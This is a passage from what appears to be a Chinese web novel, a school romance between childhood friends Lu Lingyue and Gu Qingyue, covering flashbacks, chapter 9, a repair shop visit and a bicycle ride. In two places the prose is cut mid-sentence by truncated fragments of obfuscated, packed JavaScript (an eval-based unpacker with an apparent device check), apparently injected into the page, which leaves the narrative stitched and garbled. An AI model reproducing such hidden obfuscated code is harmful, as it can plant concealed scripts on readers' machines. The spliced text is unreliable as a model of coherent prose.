她还记得顾清樾更小些的时候,大概十岁出头,住在老房子那边。 街坊邻居家有些年纪相仿的小女孩,见他生得好看,总想凑过来跟他一起玩。 可顾清樾呢,他不是躲在屋里看书,就是一个人坐在院子角落盯着栀子花发呆。 人家小姑娘鼓起勇气跟他说话,他要么是“嗯”、“哦”地敷衍,要么干脆当没听见。 有一次,隔壁家一个扎羊角辫的小姑娘,拿着新买的皮筋兴冲冲跑来,想让顾清樾帮忙撑着,自己好跳。 顾清樾眼皮都没抬,说了句“麻烦,会断”,就转身走了。 小姑娘愣在原地,眼圈一红,“哇”地一声哭着跑回了家。 齐眉正好看见,把顾清樾拉到跟前,蹲下身耐心问他:“阿樾,小娟想和你玩,你为什么不愿意呀?多交朋友是好事,你总是一个人,太孤僻不好。” 顾清樾说:“小姨,她们看到我都夸我好看。” “怎么,你不喜欢被夸吗?” “不喜欢,只有月月看到我,没有说我好看,她说我太瘦了,而且她们都没有月月可爱,月月哭起来像只小仓鼠。” 齐眉摸摸顾清樾的头发,尝试引导:“你觉得月月可爱,那为什么不去找月月玩呢?你们是同学,又住得近。” 顾清樾回答:“她讨厌我。” 齐眉这才想起,每次月月来家里,或者两个孩子在街上遇到,自家外甥要么沉默,要么就说些不中听的话,而月月回回都被气得小脸鼓鼓,扭头就跑。 他们俩确实不像能玩到一起的样子。 “是不是你不会讨月月开心?你看,你总说些月月不喜欢听的话。月月是女孩子,女孩子都喜欢被夸奖的。你要多夸夸月月,说她好看,说她可爱,说她今天穿的裙子漂亮,她可能就愿意和你玩了。” 那天下午,齐眉在厨房择菜,透过窗户,看到顾清樾偶遇了正蹲在她家门前地上看蚂蚁搬家的陆泠月。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨晚,她在一旁指导:“阿樾,馅别放太多,勺子里这些就够了,不然皮包不住,煮的时候容易破。” 顾清樾像是没听见,固执地用勺子又挖了满满一勺肉馅,堆在摊开的饺子皮中央,“馅少了她不吃。” 结果可想而知,薄薄的饺子皮根本承受不住如此厚重的馅料。 顾清樾笨拙地对折捏合边缘,这边刚刚捏紧,那边的馅料就迫不及待地挤了出来,弄得他手指上、围裙上都是黏糊糊的肉馅和面皮。 最后包出来的饺子奇形怪状,一个个挺着将军肚,馅料快要冲破面皮的束缚,看起来惨不忍睹。 煮过的饺子更不用说。 经历沸水的洗礼,面皮纷纷破裂,肉馅散落出来,好好的一锅饺子最终变成了一锅肉馅面片汤。 所以,最后送到陆泠月手上的保温盒,才会是一副满目疮痍的模样,以至于让陆泠月第一眼以为是顾清樾的报复。 齐阿姨又说:“我还以为你会嫌弃呢,没想到阿樾说你都吃完了。难怪他心情看着还不错。” 9. 第九章 陆泠月手里攥着给顾清樾带的早餐,肩上背着自己和顾清樾的书包,走向老陈修理铺。 这还是她第一次背顾清樾的书包。 和别的学霸满满当当的书包不同,顾清樾的书包很轻,只有几本书。 陆泠月想起了初中时的一段旧事。 有一次放学,她看到顾清樾扁扁的书包,好奇问:“别的学霸都带一书包的书回家,晚上还要挑灯夜读呢,你怎么就带这么点儿?” 顾清樾手上还有一个沉甸甸的书包,闻言慢悠悠反问:“别的学霸——是指你吗?” 陆泠月理直气壮地点头:“是啊。” 顾清樾空着的手,点了点她书包侧面鼓出来的一个方形轮廓:“作业都做完了,为什么还要把书带回去?你又不会去看。” 陆泠月眨眨眼:“谁说我不会看了,我头悬梁,锥刺股,你能不能向我看齐?” 顾清樾:“。” 陆泠月:“书包越鼓,别人看到就会觉得我很认真。” 顾清樾:“别人也可能觉得你作业总是做不完,才要带这么多书回家。” 后来陆泠月仔细想想,觉得有几分道理。 从那以后,她也开始精简行囊,不再徒劳地背着一堆根本不会翻开的书来回奔波。 陆泠月一直以为顾清樾是真心给她建议,是为了让她看起来更加学霸,直到很久之后的一个傍晚。 那天她值日稍微晚了些,走到教学楼后面的自行车棚时,听到傅屿爽朗的笑声传来。 “阿樾,你这招高啊,轻轻松松几句话,就劝月月再也不当搬运工了,哈哈哈哈,咱们终于不用再时不时帮她背那个巨石一样的书包了,厉害厉害!” 顾清樾单手插兜,嘴角噙着若有若无的笑意,并未反驳。 陆泠月站在拐角的阴影,捏紧拳头。 原来如此。 陆泠月决定报复顾清樾,报复的方式朴实无华。 以后她的书包都让他背了。 当然,蒋翊和傅屿也不能放过。 顾清樾拎着明显超重的书包,冷静发问:“一周五天,我、傅屿、蒋翊轮流给你背,为什么我是135?” 陆泠月:“能者多劳。” 顾清樾:“请问美术、音乐、劳动、心理健康,这些课本每周一三五背回家的意义是?” 陆泠月:“陶冶情操。” 顾清樾:“你同桌、前后桌的书,为什么也在你这里?” 陆泠月:“陶冶情操*6。” 惩罚没进行几天,陆泠月很快就发现了问题。 顾清樾个子高,分量不轻的书包挂在他肩上,他走起路来依旧步履轻松。 这哪里是报复,只不过是给他添了点无关痛痒的装饰。 这不行。 次日放学,班级的学生都走光了,顾清樾去办公室了,陆泠月在教室等他。 百无聊赖的时候。陆泠月看到了放在她桌子下面的实心球。 实心球是体育课要用的,因为中考要考实心球。 陆泠月坏坏一笑,把实心球塞进了书包里。 她正费力拉上拉链,一道清冽的嗓音从门口传来。 “陆泠月。” 陆泠月手一抖,倏地回头。 顾清樾不知何时回来了,手里拿着一叠卷子。 “只放实心球,”他走了过来,将卷子放在旁边桌上,平静问,“容量是不是有点浪费?” 陆泠月一时没反应过来:“……嗯?” 顾清樾用目光示意了一下教室后方19升的桶装水,“你怎么不一起塞进去?” 陆泠月:“……” 空气安静了两秒。 “顾清樾。”陆泠月抬起头,一脸认真,“我是在变相的锻炼你的身体素质。” “是吗。”顾清樾伸手,拎起沉得离谱的书包,轻松地甩到肩上,“那提前谢谢你了。” 他顿了顿,看向陆泠月,“明天你是不是该把升旗台上的墩子拆下来,让我也背回去?” 陆泠月:“……” …… 似乎每次想到顾清樾,陆泠月总会想笑,她拍了拍脸,收敛心神,快加步伐去找老陈。 老陈,大名□□,是这条老街的守护神。年近五十,皮肤因常年户外劳作而黝黑发亮,总穿着一身沾满油污的深蓝色工装。 他年轻时在部队里是汽车兵,退伍后开了这家修理铺,一开就是二十多年。小到收音机、电风扇,大到摩托车、洗衣机,几乎没有他修不好的东西。 老陈为人更是没得说,豪爽热心,街坊邻居谁家有困难,他总会搭把手,收费也公道,有时只收个配件钱,遇到生活困难的老邻居,还常常分文不取。 他的修理铺很简陋,就是个不大的门面,墙上挂满了各种工具,地上堆满零件。 还没走到铺子门口,陆泠月就听到老陈洪亮的嗓门,以及老式落地扇努力工作时发出的嗡嗡声响。 透过半开的卷帘门,她看到老陈一边用黑乎乎的扳手拧着什么,一边和站在一旁的顾清樾聊天。 老陈说得眉飞色舞,唾沫星子都快喷出来了,而顾清樾安静地站着,偶尔点一下头,简短的回应一两个字:“嗯。”“是。”“谢谢陈叔。” 顾清樾背对着门口,穿着被无数一中学生私下吐槽“又丑又土”、“堪称审美灾难”的夏季校服。 短袖衬衫的材质是一种廉价且毫无筋骨可言的涤纶混纺,颜色是一种介于浅蓝和灰色之间的奇怪色调,被学生们戏称为“水泥蓝”或“绝望灰”,版型更是糟糕,松松垮垮,毫无腰身设计可言。 裤子则是同样毫无特色的深蓝色运动长裤,布料厚实不透气,实在谈不上舒适。 据说校长当年力排众议选定这款设计,初衷可能就是“让学生们把心思都放在学习上”,毕竟穿上它,确实很难产生什么风花雪月的心思。 然而,校服是校服,脸是脸,气质是气质。 这套堪称颜值封印的土气行头穿在顾清樾身上,硬是被他挺拔的身姿和清冷的气质撑住,穿出了一种不落俗套的清隽感。 灰蓝色的布料非但没有淹没他,反而奇异地衬托出他身形线条,像一株长在岩石缝隙里的青竹,不在意周遭环境,兀自挺拔。 顾清樾个子很高,初中毕业时就已经窜到了一米八六,在同龄人中是鹤立鸡群的存在。 一个暑假过去,他似乎又悄无声息地向上拔高了一些,身形更加舒展,肩膀也比之前宽阔了些,将原本宽松的校服撑起了好看的轮廓。 陆泠月不禁有些怨念,傅屿那家伙比顾清樾还高一厘米,蒋翊也有一米八三,只有她,顽强地停留在一米六二,任凭时光流逝,就是岿然不动。 真不知道他们三个是吃什么长大的,净往高处窜,一点也不考虑一下她这个“盆地”同胞的感受,每次站在一起,她都感觉自己像个误入巨人国的小矮人。 一阵带着热浪的穿堂风吹过,鼓起了顾清樾宽松的校服,薄薄的布料紧贴在他清瘦的后背上,勾勒出少年劲瘦却不显单薄的脊梁线条和肩胛骨的形状。 陆泠月的目光落在他被风吹拂的腰间,心想:顾清樾会不会有腹肌呢?他和傅屿经常一起打球、跑步,运动量应该不小。 傅屿那个骚包,夏天打球热了,经常不顾忌地撩起衣服下摆擦汗,有时候图省事,就直接把湿透的球衣脱了,炫耀他早早练就的腹肌,引得场边女生阵阵低呼。 顾清樾嘛,他那么注重形象,肯定干不出这种有伤风化的事,但按理说,应该也会有的吧? 不过看他平时穿着衣服显得清瘦的样子,也不一定…… “哟,月月来了?”老陈眼尖,看到站在门口出神的陆泠月,停下手中的活计,笑着大声打招呼,露出被香烟熏得有些发黄的牙齿,额头上亮晶晶的都是汗珠,“这大早上的,也够热的哈,来找阿樾上学?” 顾清樾闻声转过头。 “陈叔叔早,”陆泠月走进闷热的铺子,把早餐递给顾清樾,“是的,我来找顾清樾。” “车已经修好了,小问题,就是链条断了几节,老化了,换根新的就成,顺便给你上了油,调了变速。” 老陈用挂在脖子上的旧毛巾擦了把脸上的汗,指了指旁边已经焕然一新的自行车,“你们快上学去吧,别迟到了。这鬼天气,教室里好歹还有空调吹吹,比我这铺子强。” “谢谢陈叔。”顾清樾开口道谢。 “谢谢陈叔叔!”陆泠月也道谢,并把自己上午的零食送给老陈。 “陈叔叔,我奶奶包的粽子,请你吃!” 老陈嘿嘿一笑,也不客气,在工装裤上用力擦了擦手,才接过粽子,“哎哟,那谢谢月月了,正好没吃早饭呢。” 顾清樾推着修好的自行车走出逼仄的修理铺,陆泠月很自觉地凑上前,扶住另一边的车把,和他一起推车往学校方向走。 清晨的街道逐渐苏醒,洒水车播放着音乐缓缓驶过,留下一地湿润的痕迹和清新的水汽。 “你为什么还不吃早饭啊?” 陆泠月侧头看顾清樾手里原封不动的早餐,催促道,“你快吃吧,车子我来推。” “我吃过了。”顾清樾目视前方,推着车继续走。 “骗人。”陆泠月戳穿顾清樾,“齐阿姨说你天没亮就出来了,哪有时间吃?快点,奶奶包的粽子,肉很多,我特意给你去皮了,怎么样,你姐姐我贴心不?” 顾清樾放开自行车,咬了一口,慢慢地咀嚼,咽下才说:“谢谢奶奶,很好吃。” 陆泠月玩心大起,眼珠一转:“其实这几个粽子是我包的哦,奶奶只是在旁边指导了我一下,你应该谢谢我。” 顾清樾上下打量陆泠月。 “按照你一贯‘勇于创新’、‘不走寻常路’的风格,如果你真的参与了包粽子,里面放的恐怕不止是肉、蛋黄和栗子。” 陆泠月:“……” 好吧,顾清樾赢了。 有时候陆泠月真的觉得,顾清樾比任何人都了解她。 她的确不止一次动过在粽子里加各种创新馅料的念头,比如尝试一下甜咸交织的夹心巧克力酱,或者叛逆地塞点辣条、薯片碎之类的黑暗料理,看看会是什么神奇的味道。 只不过每次她摩拳擦掌准备大显身手时,都会被奶奶以“不要糟蹋粮食”、“祖宗传下来的方子不能乱改”为由,无情地镇压在萌芽状态。 没想到,顾清樾连她这些未遂的犯罪意图都了如指掌。 他是她肚子里的蛔虫吗? 陆泠月有些悻悻地摸了摸鼻子,推着自行车往前走,小声嘟囔:“知道还那么多废话,快吃你的吧,就当谢谢你昨天亲手包的饺子。” 顾清樾纠正她的说法:“不客气,给木木包的。” 陆泠月瘪嘴,小声哼了一下:“嘴硬。” 明明就是特意包的,还扯什么猫。 不过她没再纠结这个,反正心里知道就行了。 陆泠月之所以不自己骑行车,要顾清樾送,根本原因在于,她是个彻头彻尾的自行车白痴,是平衡感领域的天弃之子。 说来实在惭愧,她天生就和两个轮子的交通工具犯冲,八字不合。 小时候学车那会儿,别的小朋友摔几次就摇摇晃晃能上路了,她就像是被下了诅咒,无论多么努力,一蹬脚踏板,车把就跟有自己的想法似的乱扭,然后她就连人带车,以各种匪夷所思的姿势摔出去,摔得那叫一个惨烈缤纷,花样百出,膝盖和手肘上的伤疤新旧叠加,几乎没断过。 当时顾清樾、傅屿、蒋翊三个男生轮番上阵,当她的护法兼教练,扶车尾、喊口令、各种鼓励加威胁,用尽所有能想到的办法,从科学分析重心到玄学祈祷,愣是没把她这块自行车界的榆木疙瘩给教会。 陆泠月觉得自己就像一块磁铁,专门吸引地面,怎么都摆脱不了地球引力对屁股的召唤。 最后,傅屿无奈地宣布放弃,拍拍她的头说“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾清樾愣了一下,没有回答。 陆泠月自顾自地说:“说真的,我很难想象你喜欢上女生的模样。但你一定会吧,像你这种性格,看起来冷冰冰的,其实最讲规矩、最有责任感了,你以后肯定是个妻管严的潜力股,说不定比蒋翊还没家庭地位呢,被你老婆管得服服帖帖的,让往东不敢往西那种。” 说罢,她想到一个解决历史遗留问题的好办法,神情激动:“哎,我想过了!我现在没钱还初中的饭卡债,但是等你以后结婚的时候,我给你包一个超大超厚的红包,偷偷塞给你,不让你老婆知道,给你当私房钱,好不好?这样就算我还你了!” 顾清樾吐出两个字:“不好。” “哎呀,你怎么这么死脑筋呀,虽然这么做是有点对不起你未来老婆,但是作为你的朋友,我还是希望你能对自己好一点,手头有点闲钱,想买什么也方便嘛,你看你都瘦成什么样了?” 陆泠月伸出手指,隔空点了点顾清樾校服下清瘦的腰身部位,一副操碎了心的模样:“所以啊,平时要记得好好吃饭,多吃点有营养的,懂不懂?你不把自己养得壮实一点,以后怎么有力气保护你老婆孩子呀?怎么扛米扛煤气罐?” 顾清樾嘴角抽搐了一下,淡淡地回了句:“知道了。” 他已经吃完粽子,将包装捏在手里,没有乱扔。 而后长腿一跨,坐上自行车座,单脚支地,侧过头对还在喋喋不休的陆泠月说:“上来吧,再磨蹭真要迟到了。” 陆泠月“哦”了一声,坐上自行车的后座。 然而,问题来了。 男女有别,而且顾清樾不是傅屿。 以前坐傅屿的车,陆泠月可以心安理得地直接搂住傅屿的腰,把脸贴在他结实的后背上,甚至有时候还会故意捣乱,戳戳他的腹肌。 但顾清樾不一样。顾清樾有洁癖,不喜欢和别人有过于亲密的肢体接触,平时不小心碰到他,他都会避开。 陆泠月手悬在半空,一时间不知道往哪里放。 抓着车座下面的金属杆,好像不太稳当,颠簸起来肯定难受。 扶着顾清樾的腰,会不会被他嫌弃地甩开? 就在她犹豫不决的时候,前面的顾清樾开口提醒:“扶好。” “哦。”陆泠月伸出两只手,拽住顾清樾校服腰侧的两边布料,尽可能避免直接接触到他的身体。 自行车缓缓前行,速度比傅屿平时骑的要慢很多,很平稳。 风吹起顾清樾额前的碎发,也吹动了陆泠月长发,发丝拂过她的脸颊,有点痒。 陆泠月坐在后面,因为不用自己走路而倍感轻松,注意力又开始飘向顾清樾的后背。 近距离看,陆泠月才发现,顾清樾好像一点都不瘦弱诶。 他绝不是单薄的书呆子体型,尤其是近距离观察,感觉和傅屿差不多? 想起顾清樾和傅屿一起在篮球场上奔跑的身影,陆泠月忍不住好奇心,微微前倾身体,凑近顾清樾的后背:“顾清樾,我问你个问题哦。” “什么? “你有腹肌吗?” “……” 陆泠月以为风声太大顾清樾听不见,还稍稍提高了点音量,“你为什么不说话?” “……”还是沉默。 顾清樾绝对是听到了,但是他不想说,陆泠月更想知道了,威胁道:“你快说呀,再不说我上手摸你了哈?” 顾清樾忍无可忍:“没有。都是肥肉。” 顾清樾本想用这话堵住陆泠月的好奇心,万万没想到,下一秒,一只温热的手,隔着一层薄薄的校服,快速地在他紧实的小腹上按了一下。 触感一瞬即逝,但有一道微弱的电流,同时窜过两人的身体。 随即,身后响起陆泠月惊讶的叫声:“你骗人!顾清樾!你也有腹肌!硬邦邦的!”